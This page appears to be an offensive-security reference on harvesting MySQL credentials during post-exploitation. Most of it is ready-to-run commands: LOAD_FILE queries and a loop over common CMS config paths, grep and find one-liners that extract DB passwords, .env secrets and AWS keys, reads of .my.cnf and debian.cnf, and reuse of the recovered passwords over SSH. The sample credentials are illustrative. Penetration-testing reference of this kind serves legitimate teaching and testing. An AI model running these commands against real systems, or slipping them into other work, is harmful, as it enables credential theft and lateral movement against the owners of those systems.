# MySQL Credential Harvesting from Application Configs

- **URL:** https://hackindex.io/services/mysql/post-exploitation/mysql-credential-harvesting-from-application-configs
- **Path:** MySQL > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/services/mysql/post-exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

Application configuration files on the web server contain plaintext MySQL credentials used by the application to connect to the database. These credentials are separate from those stored in mysql.user: they are OS-level files readable through shell access or through MySQL's LOAD_FILE function when FILE privilege is present. The recovered credentials often have elevated database privileges compared to what the current MySQL session provides, and frequently reuse passwords across multiple services on the same host.

LOAD_FILE requires the FILE privilege on the MySQL user. The target file must also be readable by the mysql OS user. Without FILE privilege, every LOAD_FILE call returns NULL. Shell access bypasses this restriction entirely. Backup files and staging configs are often overlooked but frequently contain the same credentials as production.

## Read Config Files via LOAD_FILE

Target common CMS and framework configuration file locations. Start with the most widely deployed platforms:

LOAD_FILE returns NULL when the file does not exist, when the mysql OS user cannot read it, or when `secure_file_priv` restricts reads to a specific directory. A NULL result does not confirm the file is absent. Run `SHOW VARIABLES LIKE 'secure_file_priv';` to check the restriction. If the variable holds a non-empty path, LOAD_FILE only reads files inside that directory. In that case, switch to shell access to read configs outside the allowed path.

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/var/www/html/wp-config.php');"
# define('DB_NAME', 'wordpress');
# define('DB_USER', 'wpuser');
# define('DB_PASSWORD', 'Sup3rS3cret!');
# define('DB_HOST', 'localhost');
```

```bash
for path in \
  '/var/www/html/wp-config.php' \
  '/var/www/html/configuration.php' \
  '/var/www/html/config/database.php' \
  '/var/www/html/app/config/database.php' \
  '/var/www/html/.env' \
  '/var/www/html/config.php' \
  '/var/www/html/includes/config.php' \
  '/var/www/html/application/config/database.php' \
  '/var/www/html/sites/default/settings.php'; do
  result=$(mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('$path');" 2>/dev/null)
  [ -n "$result" ] && echo "=== $path ===" && echo "$result" | grep -iE 'pass|user|db_|database|host'
done
```

## Search for Config Files via Shell Access

If shell access is available on the host, search the filesystem directly for configuration files containing MySQL credentials:

Check paths outside `/var/www/` too. Applications deployed in `/srv/`, `/opt/`, and `/home/` often carry their own config files. The second grep pipes matched filenames through xargs to extract credential lines directly. A config file with an empty password field is still useful: it reveals the database username and database name, which narrows further attacks. Backup copies of config files (such as `wp-config.php.bak` or `config.php.old`) are common and may contain old credentials that still work.

```bash
grep -rEl 'DB_PASSWORD|db_password|mysql_password|database_password' /var/www/ 2>/dev/null
# /var/www/html/wp-config.php
# /var/www/html/app/.env
# /var/www/backup/config.php
```

```bash
grep -rEl 'DB_PASSWORD|db_password|mysql_password|database_password' /var/www/ 2>/dev/null | xargs grep -iE 'pass|user' 2>/dev/null
```

## Read .env Files

Modern frameworks store database credentials in `.env` files which are often world-readable and contain all service credentials in one place:

An empty `DB_PASSWORD` is not a dead end. Some applications connect without a password, and the username alone may allow unauthenticated access. Laravel `.env` files also contain `APP_KEY`, queue connection credentials, and cache backend passwords. Redis and Memcached credentials in the same file are common. Test each credential pair separately against its service. The `MAIL_PASSWORD` and `AWS_SECRET_ACCESS_KEY` fields in the same file are worth collecting even if MySQL is the primary target.

```bash
find /var/www /srv /opt /home -name '.env' -readable 2>/dev/null | xargs grep -iE 'DB_|MYSQL_|DATABASE_' 2>/dev/null
# /var/www/html/.env:DB_CONNECTION=mysql
# /var/www/html/.env:DB_HOST=127.0.0.1
# /var/www/html/.env:DB_DATABASE=production
# /var/www/html/.env:DB_USERNAME=laraveluser
# /var/www/html/.env:DB_PASSWORD=LaravelProd2024!
```

## Check MySQL Client Credential Files

Users who connect to MySQL frequently from the command line store credentials in `.my.cnf` files in their home directories to avoid typing passwords. These files contain plaintext credentials:

Also check `/etc/mysql/debian.cnf`. On Debian and Ubuntu systems this file contains the `debian-sys-maint` account, which carries broad MySQL privileges used for system maintenance tasks. The file is normally root-readable only, but misconfigured systems leave it world-readable. If LOAD_FILE returns this file, the credentials inside typically allow full database access. Try the recovered password against the root MySQL account as well, since administrators often reuse passwords between maintenance and root accounts.

```bash
find /root /home -name '.my.cnf' -readable 2>/dev/null | xargs cat 2>/dev/null
# [client]
# user=root
# password=AdminPass123
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/root/.my.cnf'); SELECT LOAD_FILE('/home/www-data/.my.cnf');"
```

## Test Recovered Credentials

Test each recovered credential set against MySQL directly and against other services on the host. Run `SHOW GRANTS FOR CURRENT_USER();` immediately after authenticating with the recovered credentials. Look for high-value grants:

- `FILE` enables file read and webshell deployment
- `SUPER` or `SYSTEM_VARIABLES_ADMIN` enables server configuration changes
- `ALL PRIVILEGES` or `WITH GRANT OPTION` indicates DBA-level access

Try the same password against SSH, FTP, and any other services running on the host. Application database users are often created with a shared password that administrators reuse across multiple accounts on the same system. A credential that fails on MySQL may still work for SSH or a control panel.

```bash
# $USER and $PASSWORD hold the recovered credentials from the config file
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW GRANTS FOR CURRENT_USER();"
```

```bash
ssh laraveluser@$TARGET_IP
```

## References

- [MySQL: End-user password security](https://dev.mysql.com/doc/refman/8.0/en/password-security-user.html) - .my.cnf credential file format and location reference
